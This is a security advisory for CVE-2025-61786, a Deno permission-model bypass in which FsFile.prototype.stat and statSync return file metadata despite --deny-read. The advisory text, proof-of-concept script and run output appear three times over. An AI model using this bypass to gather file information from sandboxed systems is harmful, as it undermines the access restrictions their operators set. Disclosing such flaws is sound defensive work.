CVE-2025-61786

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./). Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./). Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Summary

Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.

It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)

Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test1.txt

• poc_file.stat.ts

// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
    using file = await Deno.open("./test1.txt", { read: false, write: true});
    const fileInfo = await file.stat();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
    using file = Deno.openSync("./test1.txt", { read: false, write: true});
    const fileInfo = file.statSync();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
    // not executed
    const fileInfo = await Deno.stat("./test1.txt");
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
    // not executed
    const fileInfo = Deno.statSync("./test1.txt");
    console.log(fileInfo.isFile);
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "read", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1

PermissionStatus { state: "denied", onchange: null }
true

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2

PermissionStatus { state: "denied", onchange: null }
true

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3

PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = await Deno.stat("./test1.txt");
                                ^
    ...

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4

PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = Deno.statSync("./test1.txt");
                          ^
    ...

Impact

Permission model bypass

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./). Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./). Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Summary

Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.

It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)

Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test1.txt

• poc_file.stat.ts

// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
    using file = await Deno.open("./test1.txt", { read: false, write: true});
    const fileInfo = await file.stat();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
    using file = Deno.openSync("./test1.txt", { read: false, write: true});
    const fileInfo = file.statSync();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
    // not executed
    const fileInfo = await Deno.stat("./test1.txt");
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
    // not executed
    const fileInfo = Deno.statSync("./test1.txt");
    console.log(fileInfo.isFile);
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "read", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1

PermissionStatus { state: "denied", onchange: null }
true

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2

PermissionStatus { state: "denied", onchange: null }
true

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3

PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = await Deno.stat("./test1.txt");
                                ^
    ...

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4

PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = Deno.statSync("./test1.txt");
                          ^
    ...

Impact

Permission model bypass

Summary

Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.

It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)

Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test1.txt

• poc_file.stat.ts

// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
    using file = await Deno.open("./test1.txt", { read: false, write: true});
    const fileInfo = await file.stat();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
    using file = Deno.openSync("./test1.txt", { read: false, write: true});
    const fileInfo = file.statSync();
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
    // not executed
    const fileInfo = await Deno.stat("./test1.txt");
    console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
    // not executed
    const fileInfo = Deno.statSync("./test1.txt");
    console.log(fileInfo.isFile);
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "read", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1

PermissionStatus { state: "denied", onchange: null }
true

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2

PermissionStatus { state: "denied", onchange: null }
true

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3

PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = await Deno.stat("./test1.txt");
                                ^
    ...

• deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4

PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
    const fileInfo = Deno.statSync("./test1.txt");
                          ^
    ...

Impact

Permission model bypass